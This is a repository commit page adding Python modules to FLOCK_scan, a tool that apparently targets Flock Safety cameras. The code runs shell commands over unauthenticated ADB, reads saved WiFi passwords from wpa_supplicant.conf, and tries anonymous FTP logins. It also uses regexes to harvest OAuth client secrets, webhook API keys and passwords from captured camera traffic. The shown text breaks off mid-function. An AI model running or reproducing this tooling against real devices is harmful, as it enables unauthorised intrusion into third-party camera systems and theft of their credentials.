ek0mssavi0r/Flock_SCAN
1
0
Fork 1
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Upload files to "modules"

Browse Source
This commit is contained in:
ek0ms savi0r
2026-07-19 06:01:32 +00:00
parent 587f14697e
commit e6c41a69a6
9 changed files with 2633 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
modules/__init__.py
+1
View File
@@ -0,0 +1 @@
"""FLOCK_scan enrichment modules for v3.0+"""
modules/adb_deep.py
+334
View File
@@ -0,0 +1,334 @@
#!/usr/bin/env python3
"""
adb_deep.py — Extended ADB shell data collection for FLOCK_scan
When ADB is accessible on port 5555, we can pull far more than just
ro.product.model. This module collects:
- Network: gateway, DNS servers, interfaces, ARP table
- WiFi: SSID, BSSID, signal strength
- System: uptime, processes, mounts, disk usage
- Battery / power state
- Installed packages
- Logcat errors (if accessible)
Usage:
from modules.adb_deep import adb_deep_collect
data = adb_deep_collect(host, timeout=5)
"""
import socket
import re
import time
import json
ADB_PORT = 5555
def _adb_shell(host, cmd, timeout=5):
"""Send a shell command over raw ADB TCP and return output."""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((host, ADB_PORT))
# ADB shell protocol: send "shell:<cmd>\n"
payload = f"shell:{cmd}\n"
s.send(payload.encode())
# Read response
# Skip the 4-byte ADB status header
time.sleep(0.3)
response = b""
while True:
try:
chunk = s.recv(4096)
if not chunk:
break
response += chunk
except socket.timeout:
break
s.close()
# ADB responses start with "OKAY" or "FAIL" (4 bytes)
text = response.decode(errors="replace")
if text.startswith("OKAY"):
text = text[4:]
elif text.startswith("FAIL"):
return None
return text.strip()
except Exception:
return None
def get_prop(host, prop, timeout=5):
"""Get a single Android system property."""
return _adb_shell(host, f"getprop {prop}", timeout=timeout)
def get_gateway(host, timeout=5):
"""Get default gateway from the camera."""
out = _adb_shell(host, "ip route | grep default", timeout=timeout)
if out:
m = re.search(r'via\s+([0-9.]+)', out)
if m:
return m.group(1)
return None
def get_dns_servers(host, timeout=5):
"""Get configured DNS servers."""
dns1 = get_prop(host, "net.dns1", timeout=timeout)
dns2 = get_prop(host, "net.dns2", timeout=timeout)
return {"dns1": dns1, "dns2": dns2}
def get_wifi_info(host, timeout=5):
"""Extract WiFi connection details via dumpsys."""
out = _adb_shell(host, "dumpsys wifi 2>/dev/null | grep -E 'mWifiInfo|SSID|BSSID|RSSI|LinkSpeed|Frequency'", timeout=timeout)
info = {}
if out:
for line in out.split("\n"):
if "SSID" in line or "ssid" in line:
m = re.search(r'["\']([^"\']+)["\']', line)
if m:
info["ssid"] = m.group(1)
if "BSSID" in line:
m = re.search(r'([0-9a-f]{2}:[0-9a-f]{2}:[0-9a-f]{2}:[0-9a-f]{2}:[0-9a-f]{2}:[0-9a-f]{2})', line, re.I)
if m:
info["bssid"] = m.group(1).lower()
if "RSSI" in line:
m = re.search(r'(-?\d+)', line)
if m:
info["rssi"] = int(m.group(1))
if "LinkSpeed" in line:
m = re.search(r'(\d+)', line)
if m:
info["link_speed"] = int(m.group(1)) # Mbps
if "Frequency" in line:
m = re.search(r'(\d+)', line)
if m:
freq = int(m.group(1))
info["frequency"] = freq
info["band"] = "5GHz" if freq > 4000 else "2.4GHz"
return info if info else None
def get_interfaces(host, timeout=5):
"""List all network interfaces and their IP addresses."""
out = _adb_shell(host, "ip -4 addr show 2>/dev/null || ifconfig 2>/dev/null", timeout=timeout)
interfaces = []
if out:
for line in out.split("\n"):
m = re.match(r'(\d+):\s+(\w+)[:@]', line)
if m:
iface = {"index": m.group(1), "name": m.group(2)}
interfaces.append(iface)
elif "inet " in line and interfaces:
m2 = re.search(r'inet\s+([0-9.]+)/(\d+)', line)
if m2:
interfaces[-1]["ip"] = m2.group(1)
interfaces[-1]["prefix"] = int(m2.group(2))
return interfaces if interfaces else None
def get_arp_table(host, timeout=5):
"""Get the ARP table."""
out = _adb_shell(host, "cat /proc/net/arp", timeout=timeout)
entries = []
if out:
for line in out.split("\n")[1:]: # skip header
parts = line.split()
if len(parts) >= 4:
entries.append({
"ip": parts[0],
"hw_type": parts[1],
"flags": parts[2],
"mac": parts[3],
"iface": parts[-1] if len(parts) > 4 else None,
})
return entries if entries else None
def get_uptime(host, timeout=5):
"""Get system uptime."""
out = _adb_shell(host, "uptime", timeout=timeout)
if out:
m = re.search(r'up\s+(.+?),\s', out)
if m:
return m.group(1).strip()
return out
def get_process_list(host, timeout=5):
"""Get running processes."""
out = _adb_shell(host, "ps -A 2>/dev/null || ps 2>/dev/null", timeout=timeout)
processes = []
if out:
for line in out.split("\n")[1:]: # skip header
parts = line.split()
if len(parts) >= 8:
processes.append({
"user": parts[0],
"pid": parts[1],
"ppid": parts[2],
"cpu": parts[3] if len(parts) > 3 else "?",
"name": parts[-1],
})
return processes if processes else None
def get_mounts(host, timeout=5):
"""Get mounted filesystems."""
out = _adb_shell(host, "mount", timeout=timeout)
mounts = []
if out:
for line in out.split("\n"):
parts = line.split()
if len(parts) >= 3 and parts[0].startswith("/"):
mounts.append({
"device": parts[0],
"mount_point": parts[1],
"fstype": parts[2],
"options": parts[3].strip("()") if len(parts) > 3 else "",
})
return mounts if mounts else None
def get_disk_usage(host, timeout=5):
"""Get disk usage summary."""
out = _adb_shell(host, "df -h 2>/dev/null", timeout=timeout)
disks = []
if out:
for line in out.split("\n")[1:]:
parts = line.split()
if len(parts) >= 5 and parts[0].startswith("/"):
disks.append({
"filesystem": parts[0],
"size": parts[1],
"used": parts[2],
"avail": parts[3],
"use_pct": parts[4],
"mounted": parts[5] if len(parts) > 5 else "",
})
return disks if disks else None
def get_installed_packages(host, timeout=5):
"""Get list of installed packages (APKs)."""
out = _adb_shell(host, "pm list packages -f 2>/dev/null", timeout=timeout)
packages = []
if out:
for line in out.split("\n"):
if "package:" in line:
m = re.search(r'package:([^=]+)=(.*)', line)
if m:
packages.append({
"path": m.group(1),
"name": m.group(2),
})
return packages if packages else None
def get_logcat_errors(host, max_lines=50, timeout=5):
"""
Grab recent logcat entries with ERROR or FATAL tags.
Can leak stack traces, internal paths, debug info.
"""
out = _adb_shell(
host,
f"logcat -d -v brief *:E 2>/dev/null | head -{max_lines}",
timeout=timeout,
)
if out:
lines = out.split("\n")
return [l.strip() for l in lines if l.strip()]
return None
def get_battery_info(host, timeout=5):
"""Get battery state via dumpsys."""
out = _adb_shell(host, "dumpsys battery 2>/dev/null", timeout=timeout)
info = {}
if out:
for line in out.split("\n"):
if ":" in line:
k, v = line.split(":", 1)
info[k.strip()] = v.strip()
return info if info else None
def get_wifi_credentials(host, timeout=5):
"""Attempt to extract saved WiFi credentials (if rooted)."""
out = _adb_shell(
host,
"cat /data/misc/wifi/wpa_supplicant.conf 2>/dev/null || "
"cat /data/misc/wifi/WifiConfigStore.xml 2>/dev/null",
timeout=timeout,
)
networks = []
if out:
# Parse wpa_supplicant.conf
current = {}
for line in out.split("\n"):
m = re.match(r'\s+ssid="([^"]+)"', line)
if m:
current["ssid"] = m.group(1)
m = re.match(r'\s+psk="([^"]+)"', line)
if m:
current["psk"] = m.group(1)
if line.strip() == "}" and current:
networks.append(current)
current = {}
return networks if networks else None
# ── Orchestrator ─────────────────────────────────────────────────────
def adb_deep_collect(host, timeout=5):
"""
Run all ADB deep-collection commands on a host.
Returns a dict with all findings, or None if ADB is not reachable.
"""
# Quick reachability check
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
s.connect((host, ADB_PORT))
s.close()
except Exception:
return None
results = {}
results["model"] = get_prop(host, "ro.product.model", timeout)
results["device"] = get_prop(host, "ro.product.device", timeout)
results["android_version"] = get_prop(host, "ro.build.version.release", timeout)
results["build_fingerprint"] = get_prop(host, "ro.build.fingerprint", timeout)
results["gateway"] = get_gateway(host, timeout)
results["dns"] = get_dns_servers(host, timeout)
results["wifi"] = get_wifi_info(host, timeout)
results["interfaces"] = get_interfaces(host, timeout)
results["arp"] = get_arp_table(host, timeout)
results["uptime"] = get_uptime(host, timeout)
results["process_count"] = len(get_process_list(host, timeout) or [])
results["mounts"] = get_mounts(host, timeout)
results["disk"] = get_disk_usage(host, timeout)
results["battery"] = get_battery_info(host, timeout)
# Optional: slower operations
results["package_count"] = len(get_installed_packages(host, timeout) or [])
results["logcat_errors"] = get_logcat_errors(host, timeout=timeout)
return results
# ── CLI test ─────────────────────────────────────────────────────────
if __name__ == "__main__":
import sys
target = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.100"
print(json.dumps(adb_deep_collect(target), indent=2, default=str))
modules/banner_grabber.py
+423
View File
@@ -0,0 +1,423 @@
#!/usr/bin/env python3
"""
banner_grabber.py — HTTP/FTP/TLS/SSH banner collection for FLOCK_scan
Grabs what scanner.py's _http_get() leaves on the floor:
- HTTP response headers (Server, X-Powered-By, Via, etc.)
- FTP banner on port 21 (SpeedPourer version detection)
- TLS certificate details (SANs, issuer, expiry, serial)
- SSH version string (port 22)
Usage:
from modules.banner_grabber import grab_all_banners
banners = grab_all_banners(host, timeout=5)
"""
import socket
import ssl
import re
import json
from datetime import datetime
try:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
HAVE_REQUESTS = True
except ImportError:
HAVE_REQUESTS = False
# ── 1. HTTP Response Headers + Body ──────────────────────────────────
def http_banner_grab(host, port=80, timeout=5, use_https=False):
"""
Full HTTP(S) GET — returns status code, headers dict, cookies, and
truncated body so we can feed them to telemetry/banner analysis.
Returns dict or None.
"""
scheme = "https" if use_https or port == 443 else "http"
url = f"{scheme}://{host}:{port}/"
if not HAVE_REQUESTS:
return _http_banner_socket(host, port, timeout, use_https)
try:
r = requests.get(
url,
timeout=timeout,
verify=False,
headers={"User-Agent": "FLOCK_scan/3.0"},
allow_redirects=False,
)
return {
"status": r.status_code,
"headers": dict(r.headers),
"body": r.text[:5000],
"cookies": r.cookies.get_dict(),
"url": url,
}
except Exception:
return None
def _http_banner_socket(host, port, timeout, use_https):
"""Fallback raw-socket HTTP GET for environments without requests."""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
if use_https or port == 443:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
s = ctx.wrap_socket(s, server_hostname=host)
s.connect((host, port))
req = (
f"GET / HTTP/1.0\r\n"
f"Host: {host}:{port}\r\n"
f"User-Agent: FLOCK_scan/3.0\r\n"
f"Connection: close\r\n\r\n"
)
s.send(req.encode())
resp = b""
while True:
chunk = s.recv(4096)
if not chunk:
break
resp += chunk
s.close()
# Split headers / body
raw = resp.decode(errors="replace")
if "\r\n\r\n" in raw:
header_text, body = raw.split("\r\n\r\n", 1)
elif "\n\n" in raw:
header_text, body = raw.split("\n\n", 1)
else:
header_text = raw
body = ""
headers = {}
status = 0
for line in header_text.split("\r\n"):
if line.startswith("HTTP/"):
try:
status = int(line.split()[1])
except (IndexError, ValueError):
pass
elif ":" in line:
k, v = line.split(":", 1)
headers[k.strip()] = v.strip()
return {
"status": status,
"headers": headers,
"body": body[:5000],
"cookies": {},
"url": f"{'https' if use_https else 'http'}://{host}:{port}/",
}
except Exception:
return None
def http_extract_interesting(headers):
"""
From a headers dict, pull out the banner-level intel we care about.
Returns a flat dict with keys: server, powered_by, aspnet_version,
cloud_proxy, backend_cookie.
"""
h = {k.lower(): v for k, v in headers.items()}
info = {}
if "server" in h:
info["server"] = h["server"]
if "x-powered-by" in h:
info["powered_by"] = h["x-powered-by"]
if "x-aspnet-version" in h:
info["aspnet_version"] = h["x-aspnet-version"]
# Cloud proxy detection
via = h.get("via", "")
if "cloudfront" in via.lower():
info["cloud_proxy"] = "CloudFront"
elif "akamai" in via.lower():
info["cloud_proxy"] = "Akamai"
elif "cloudflare" in via.lower():
info["cloud_proxy"] = "CloudFlare"
elif via:
info["cloud_proxy"] = via[:64]
x_cache = h.get("x-cache", "")
if x_cache and "cloud_proxy" not in info:
info["cloud_proxy_hint"] = x_cache[:64]
# CSP / HSTS
if "strict-transport-security" in h:
info["hsts"] = "yes"
if "content-security-policy" in h:
csp = h["content-security-policy"]
info["csp_report_uri"] = _extract_csp_report_uri(csp)
# Backend fingerprint via Set-Cookie
for cname in h.get("set-cookie", "").split(";"):
cname = cname.strip().split("=")[0]
if cname in ("PHPSESSID", "JSESSIONID", "connect.sid",
"ASP.NET_SessionId", "PLAY_FLASH", "laravel_session",
"symfony", "rack.session"):
info["backend_cookie"] = cname
break
# Cloud headers
for cloud_key in ("x-amz-request-id", "x-amz-id-2",
"x-amz-cf-id", "x-amz-cf-pop",
"x-azure-ref",
"x-guploader-uploadid",
"x-sucuri-id", "x-sucuri-cache",
"cf-ray", "cf-cache-status"):
if cloud_key in h:
info[cloud_key] = h[cloud_key]
return info
def _extract_csp_report_uri(csp):
m = re.search(r'report-uri\s+([^\s;]+)', csp)
if m:
return m.group(1)
m = re.search(r'report-to\s+([^\s;]+)', csp)
if m:
return m.group(1)
return None
# ── 2. FTP Banner Grab ──────────────────────────────────────────────
def ftp_banner_grab(host, port=21, timeout=5):
"""
Connect to FTP port, grab the welcome banner.
SpeedPourer cameras advertise themselves here.
"""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((host, port))
banner = s.recv(1024).decode(errors="replace").strip()
s.close()
result = {
"port": port,
"banner": banner,
"is_speedpourer": "speedpourer" in banner.lower(),
}
# Extract version if present
m = re.search(r'v?(\d+\.\d+[\.\d]*)', banner)
if m:
result["version"] = m.group(1)
return result
except socket.timeout:
return None
except ConnectionRefusedError:
return None
except Exception:
return None
def ftp_anonymous_login(host, port=21, timeout=5):
"""
Test if FTP allows anonymous login (common on misconfigured SpeedPourer).
Returns True/False.
"""
try:
from ftplib import FTP
ftp = FTP()
ftp.connect(host, port, timeout=timeout)
resp = ftp.login("anonymous", "flock_scan@test.com")
ftp.quit()
return "230" in str(resp)
except Exception:
return False
# ── 3. TLS Certificate Details ──────────────────────────────────────
def tls_cert_grab(host, port=443, timeout=5):
"""
Connect and extract the full TLS certificate.
Returns SANs, issuer, subject, validity window, serial.
"""
try:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
with socket.create_connection((host, port), timeout=timeout) as sock:
with ctx.wrap_socket(sock, server_hostname=host) as ssock:
cert = ssock.getpeercert()
der = ssock.getpeercert(binary_form=True)
if not cert:
return None
# SANs
sans = []
for ext_type, val in cert.get("subjectAltName", []):
if ext_type == "DNS":
sans.append(val)
# Subject
subject = dict(cert.get("subject", []))
issuer = dict(cert.get("issuer", []))
# Serial
serial = cert.get("serialNumber", None)
# Validity
nb = cert.get("notBefore", "")
na = cert.get("notAfter", "")
# SHA-256 fingerprint
from hashlib import sha256
fingerprint = sha256(der).hexdigest()
return {
"subject": {k: v for k, v in subject.items()},
"issuer": {k: v for k, v in issuer.items()},
"sans": sans,
"serial_number": serial,
"not_before": nb,
"not_after": na,
"sha256_fingerprint": fingerprint,
"days_until_expiry": _days_between(datetime.now(), na) if na else None,
}
except Exception:
return None
def _days_between(d1, d2_str):
"""Parse an ASN.1 time string and return days between now and it."""
try:
d2 = datetime.strptime(d2_str.replace("Z", ""), "%Y%m%d%H%M%S")
delta = (d2 - d1).days
return delta
except Exception:
return None
# ── 4. SSH Version String ───────────────────────────────────────────
def ssh_banner_grab(host, port=22, timeout=5):
"""
Grab SSH protocol version string. Can identify OS / SSH server version.
"""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((host, port))
banner = s.recv(256).decode(errors="replace").strip()
s.close()
return {
"port": port,
"banner": banner,
"ssh_version": banner.split("-")[-1] if "-" in banner else None,
}
except Exception:
return None
# ── 5. HTTP OPTIONS / TRACE ─────────────────────────────────────────
def http_options_scan(host, port=80, timeout=5, use_https=False):
"""
Send HTTP OPTIONS to discover allowed methods.
PUT, DELETE, or PATCH exposed = interesting.
"""
scheme = "https" if use_https or port == 443 else "http"
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
if use_https or port == 443:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
s = ctx.wrap_socket(s, server_hostname=host)
s.connect((host, port))
req = (
f"OPTIONS / HTTP/1.0\r\n"
f"Host: {host}:{port}\r\n"
f"User-Agent: FLOCK_scan/3.0\r\n\r\n"
)
s.send(req.encode())
resp = s.recv(4096).decode(errors="replace")
s.close()
allow = None
for line in resp.split("\r\n"):
if line.lower().startswith("allow:"):
allow = line.split(":", 1)[1].strip()
break
return {"allow": allow, "methods": allow.split(", ") if allow else []}
except Exception:
return None
# ── Orchestrator ─────────────────────────────────────────────────────
def grab_all_banners(host, timeout=5):
"""
Run all banner checks on a host. Returns a dict with results per service.
"""
results = {}
# HTTP/HTTPS
for port, https in [(80, False), (443, True)]:
http_res = http_banner_grab(host, port=port, timeout=timeout, use_https=https)
if http_res:
results[f"http_{port}"] = {
"url": http_res["url"],
"status": http_res["status"],
"headers": http_res["headers"],
"interesting": http_extract_interesting(http_res["headers"]),
"body_preview": http_res["body"][:500],
"cookies": http_res["cookies"],
}
# OPTIONS scan
opts = http_options_scan(host, port=port, timeout=timeout, use_https=https)
if opts and opts.get("methods"):
results[f"options_{port}"] = opts
# FTP
ftp = ftp_banner_grab(host, timeout=timeout)
if ftp:
results["ftp_21"] = ftp
anon = ftp_anonymous_login(host, timeout=timeout)
if anon:
results["ftp_21"]["anonymous_login"] = True
# TLS cert (always try 443)
tls = tls_cert_grab(host, timeout=timeout)
if tls:
results["tls_443"] = tls
# SSH
ssh = ssh_banner_grab(host, timeout=timeout)
if ssh:
results["ssh_22"] = ssh
return results
# ── CLI test ─────────────────────────────────────────────────────────
if __name__ == "__main__":
import sys
target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
print(json.dumps(grab_all_banners(target), indent=2, default=str))
modules/cloud_enrich.py
+261
View File
@@ -0,0 +1,261 @@
#!/usr/bin/env python3
"""
cloud_enrich.py — IP-to-cloud-provider enrichment for FLOCK_scan
Turns hardcoded FLOCK_CLOUD_IPS into dynamic enrichment:
- WHOIS / ASN lookup via ip-api.com or ipinfo.io (free, no key)
- Maps IP → { org, asn, country, region, cloud_provider }
- Cloud provider detection from ASN + org name
Usage:
from modules.cloud_enrich import enrich_ip, enrich_ip_batch
info = enrich_ip("52.72.49.79")
# → {"ip": "...", "org": "Amazon Technologies", "asn": "AS16509",
# "country": "US", "region": "Virginia", "cloud": "AWS"}
"""
import json
import re
import socket
# ── Fallback ASN database (no network call) ────────────────────────
# Maps ASN prefixes to known cloud providers.
# Helps when ip-api.com is unavailable.
CLOUD_ASN_MAP = {
# AWS
"16509": "AWS", "14618": "AWS", "7224": "AWS",
"8987": "AWS", "17493": "AWS", "39111": "AWS",
"31763": "AWS", "38895": "AWS", "7018": "AWS",
# GCP / Google Cloud
"15169": "GCP", "36040": "GCP", "36384": "GCP",
"41264": "GCP", "19448": "GCP", "26910": "GCP",
# Azure / Microsoft
"8075": "Azure", "12076": "Azure", "63314": "Azure",
"13100": "Azure", "31898": "Azure", "13526": "Azure",
# CloudFlare
"13335": "CloudFlare", "209242": "CloudFlare",
"14789": "CloudFlare", "203898": "CloudFlare",
# DigitalOcean
"14061": "DigitalOcean", "62567": "DigitalOcean",
# OVH
"16276": "OVH", "35540": "OVH",
# Linode
"63949": "Linode", "48270": "Linode",
# Vultr
"20473": "Vultr", "208722": "Vultr",
# Hetzner
"24940": "Hetzner", "213230": "Hetzner",
# Oracle Cloud
"31898": "Oracle", "395050": "Oracle",
# Fastly
"54113": "Fastly", "201737": "Fastly",
# Akamai
"16625": "Akamai", "12222": "Akamai", "21399": "Akamai",
# Linode
"63949": "Linode",
# Scaleway
"12876": "Scaleway",
# UpCloud
"202053": "UpCloud",
}
CLOUD_ORG_KEYWORDS = [
("amazon", "AWS"),
("aws", "AWS"),
("amazon technologies", "AWS"),
("amazon data services", "AWS"),
("amazon web services", "AWS"),
("amazon.com", "AWS"),
("elastic load balancing", "AWS"),
("google cloud", "GCP"),
("google compute", "GCP"),
("gcp", "GCP"),
("microsoft azure", "Azure"),
("azure", "Azure"),
("microsoft corporation", "Azure"),
("cloudflare", "CloudFlare"),
("digitalocean", "DigitalOcean"),
("linode", "Linode"),
("vultr", "Vultr"),
("hetzner", "Hetzner"),
("oracle cloud", "Oracle"),
("oracle public cloud", "Oracle"),
("ovh", "OVH"),
("fastly", "Fastly"),
("akamai", "Akamai"),
("scaleway", "Scaleway"),
("upcloud", "UpCloud"),
]
# ── ASN / WHOIS Lookup ──────────────────────────────────────────────
def _reverse_dns(ip, timeout=3):
"""Try to PTR the IP — sometimes reveals cloud hostname directly."""
try:
name, _, _ = socket.gethostbyaddr(ip)
return name
except Exception:
return None
def enrich_ip(ip, timeout=5):
"""
Look up IP enrichment data from ip-api.com (free, no API key).
Returns dict with:
ip, org, asn, country, region, city, cloud, reverse_dns
Falls back gracefully if the HTTP lookup fails.
"""
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
result = {
"ip": ip,
"org": None,
"asn": None,
"country": None,
"region": None,
"city": None,
"cloud": None,
"reverse_dns": None,
}
# PTR first (fast, local)
try:
rdns = _reverse_dns(ip)
result["reverse_dns"] = rdns
except Exception:
pass
# ip-api.com — limited to 45 req/min from a single IP (free tier)
try:
r = requests.get(
f"http://ip-api.com/json/{ip}",
timeout=timeout,
headers={"User-Agent": "FLOCK_scan/3.0"},
)
if r.status_code == 200:
data = r.json()
if data.get("status") == "success":
result["org"] = data.get("org")
result["asn"] = data.get("asn")
result["country"] = data.get("country")
result["region"] = data.get("regionName")
result["city"] = data.get("city")
result["isp"] = data.get("isp")
# Determine cloud provider
org = (result["org"] or "").lower()
asn = result.get("asn") or ""
result["cloud"] = _detect_cloud_provider(org, asn)
return result
except Exception:
pass
# Fallback: cli-based whois
try:
import subprocess
whois_out = subprocess.run(
["whois", ip],
capture_output=True, text=True, timeout=timeout
).stdout.lower()
for line in whois_out.split("\n"):
if "orgname:" in line:
result["org"] = line.split(":", 1)[1].strip()
if "originas:" in line or "origin:" in line:
asn = line.split(":", 1)[1].strip().lstrip("AS")
result["asn"] = f"AS{asn}"
if "netname:" in line:
if not result.get("org"):
result["org"] = line.split(":", 1)[1].strip()
if "country:" in line and not result.get("country"):
result["country"] = line.split(":", 1)[1].strip().upper()
org = (result.get("org") or "").lower()
asn = result.get("asn", "").replace("AS", "")
result["cloud"] = _detect_cloud_provider(org, asn)
except Exception:
pass
return result
def _detect_cloud_provider(org, asn):
"""Match org string + ASN against known cloud providers."""
# ASN match first
if asn and asn in CLOUD_ASN_MAP:
return CLOUD_ASN_MAP[asn]
# Org keyword match
for keyword, provider in CLOUD_ORG_KEYWORDS:
if keyword in org.lower():
return provider
# PTR-based: if we have a reverse DNS, check for cloud patterns
return None
def enrich_ip_batch(ips, timeout=10):
"""
Batch enrich multiple IPs.
Handles ip-api.com's 45 req/min rate limit with simple sleep.
Also uses batch endpoint for efficiency.
Returns dict of ip -> result.
"""
import requests
import time
# Try batch endpoint first (ip-api.com supports up to 100 IPs)
try:
r = requests.post(
"http://ip-api.com/batch",
json=ips[:100], # max 100 per batch
timeout=timeout,
headers={"User-Agent": "FLOCK_scan/3.0"},
)
if r.status_code == 200:
batch_data = r.json()
results = {}
for item in batch_data:
ip = item.get("query")
if not ip:
continue
org = item.get("org", "")
asn = item.get("asn", "")
results[ip] = {
"ip": ip,
"org": org,
"asn": asn,
"country": item.get("country"),
"region": item.get("regionName"),
"city": item.get("city"),
"isp": item.get("isp"),
"cloud": _detect_cloud_provider(
(org or "").lower(),
(asn or "").replace("AS", "")
),
"reverse_dns": _reverse_dns(ip),
}
return results
except Exception:
pass
# Fallback: one by one
results = {}
for ip in ips:
results[ip] = enrich_ip(ip, timeout=5)
time.sleep(1.5) # rate limit: ~40/min
return results
# ── CLI test ─────────────────────────────────────────────────────────
if __name__ == "__main__":
import sys
target = sys.argv[1] if len(sys.argv) > 1 else "52.72.49.79"
print(json.dumps(enrich_ip(target), indent=2, default=str))
modules/creds_extractor.py
+408
View File
@@ -0,0 +1,408 @@
#!/usr/bin/env python3
"""
creds_extractor.py — Extract leaked M2M tokens, webhook API keys,
and auth configurations from camera HTTP traffic.
When a camera's admin page or config endpoints are captured over WiFi
(monitor mode), this module scans for:
- OAuth2 client_id / client_secret pairs
- Flock Safety M2M configuration
- Webhook API keys (X-API-Key headers, callback URLs)
- Auth0 / OIDC endpoints
- Admin credentials
- Any API keys in body text
Usage:
from modules.creds_extractor import extract_creds, scan_for_creds
found = extract_creds(body_text, source="admin_page")
creds = scan_for_creds(http_responses_list)
"""
import re
import json
from datetime import datetime
# ═══════════════════════════════════════════════════════════════════
# PATTERNS
# ═══════════════════════════════════════════════════════════════════
# M2M / OAuth2 credential patterns
M2M_CLIENT_ID = re.compile(
r'(?:client_id|clientId|client-id)\s*[:=]\s*["\']([A-Za-z0-9_-]{20,})["\']',
re.I
)
M2M_CLIENT_SECRET = re.compile(
r'(?:client_secret|clientSecret|client-secret)\s*[:=]\s*["\']([A-Za-z0-9_-]{20,})["\']',
re.I
)
M2M_PAIRED = re.compile(
r'client_id["\']?\s*[:=]\s*["\']([A-Za-z0-9_-]{20,})["\'][^;]*?client_secret["\']?\s*[:=]\s*["\']([A-Za-z0-9_-]{20,})["\']',
re.I | re.DOTALL
)
# Flock-specific
FLOCK_AUDIENCE = re.compile(
r'(?:audience|aud)\s*[:=]\s*["\'](com\.flocksafety\.[a-zA-Z.]+)["\']',
re.I
)
FLOCK_ORG_ID = re.compile(
r'(?:organization_id|orgId|organisation_id)\s*[:=]\s*["\']?([a-f0-9-]{36})["\']?',
re.I
)
FLOCK_TOKEN_ENDPOINT = re.compile(
r'https://api\.flocksafety\.com/oauth/token',
re.I
)
FLOCK_WEBHOOK_API_KEY = re.compile(
r'(?:X-API-Key|webhook_api_key|api_key)\s*[:=]\s*["\']([A-Z0-9_-]{20,})["\']',
re.I
)
# Generic API keys
API_KEY_PATTERNS = [
(re.compile(r'api[_-]?key\s*[:=]\s*["\']([A-Za-z0-9_\-=]{16,})["\']', re.I), "API_Key"),
(re.compile(r'secret\s*[:=]\s*["\']([A-Za-z0-9_\-=]{16,})["\']', re.I), "Generic_Secret"),
(re.compile(r'token\s*[:=]\s*["\']([A-Za-z0-9_\-\.]{20,})["\']', re.I), "Token"),
(re.compile(r'password\s*[:=]\s*["\']([^"\']{6,})["\']', re.I), "Password"),
(re.compile(r'passwd\s*[:=]\s*["\']([^"\']{6,})["\']', re.I), "Password"),
]
# Webhook URLs
WEBHOOK_URL = re.compile(
r'https?://[a-zA-Z0-9.-]+/webhooks?/[a-zA-Z0-9_.-]+',
re.I
)
CALLBACK_URL = re.compile(
r'(?:callback_url|callbackUrl|redirect_uri|redirectUri)\s*[:=]\s*["\'](https?://[^"\']+)["\']',
re.I
)
# Auth0 / OIDC endpoints
AUTH0_DOMAIN = re.compile(
r'(?:login\.flocksafety\.com|flocksafety\.auth0\.com|auth0)',
re.I
)
# Admin credentials (low-confidence — catches patterns)
ADMIN_CRED = re.compile(
r'(?:admin|root|administrator)\s*[:=]\s*["\']\w+["\']\s*[:;,\n]\s*(?:pass|passwd|password)\s*[:=]\s*["\'][^"\']+["\']',
re.I
)
# ═══════════════════════════════════════════════════════════════════
# EXTRACTION FUNCTIONS
# ═══════════════════════════════════════════════════════════════════
def extract_creds(body, source="unknown", headers=None):
"""
Scan a body of text (HTTP response, config dump, etc.) for credentials.
Returns a list of finding dicts.
Args:
body: String body to scan
source: Label for where this came from (e.g. "admin_page", "config_endpoint")
headers: Optional dict of HTTP headers from the same response
Returns:
List of dicts: [{type, value, context, source, confidence}]
"""
findings = []
if not body:
return findings
# ── M2M Paired (client_id + client_secret together) ──
for m in M2M_PAIRED.finditer(body):
findings.append({
"type": "M2M_CREDENTIALS",
"value": f"client_id={m.group(1)}, client_secret={m.group(2)}",
"client_id": m.group(1),
"client_secret": m.group(2),
"source": source,
"confidence": "HIGH" if FLOCK_TOKEN_ENDPOINT.search(body) else "MEDIUM",
"context": body[max(0, m.start()-80):m.end()+80],
})
# ── Individual M2M client_ids ──
for m in M2M_CLIENT_ID.finditer(body):
# Skip if already captured in paired match
if not any(f.get("client_id") == m.group(1) for f in findings if f.get("client_id")):
findings.append({
"type": "CLIENT_ID",
"value": m.group(1),
"source": source,
"confidence": "MEDIUM" if AUTH0_DOMAIN.search(body) else "LOW",
"context": body[max(0, m.start()-40):m.end()+40],
})
# ── Individual client secrets ──
for m in M2M_CLIENT_SECRET.finditer(body):
if not any(f.get("client_secret") == m.group(1) for f in findings if f.get("client_secret")):
findings.append({
"type": "CLIENT_SECRET",
"value": m.group(1),
"source": source,
"confidence": "MEDIUM",
"context": body[max(0, m.start()-40):m.end()+40],
})
# ── Flock M2M Audience ──
for m in FLOCK_AUDIENCE.finditer(body):
findings.append({
"type": "M2M_AUDIENCE",
"value": m.group(1),
"source": source,
"confidence": "HIGH",
})
# ── Flock Organization UUID ──
for m in FLOCK_ORG_ID.finditer(body):
findings.append({
"type": "ORGANIZATION_UUID",
"value": m.group(1),
"source": source,
"confidence": "HIGH",
})
# ── Webhook API keys ──
for m in FLOCK_WEBHOOK_API_KEY.finditer(body):
findings.append({
"type": "WEBHOOK_API_KEY",
"value": m.group(1),
"source": source,
"confidence": "HIGH" if "flock" in body.lower() else "MEDIUM",
"context": body[max(0, m.start()-40):m.end()+40],
})
# ── Webhook URLs ──
for m in WEBHOOK_URL.finditer(body):
findings.append({
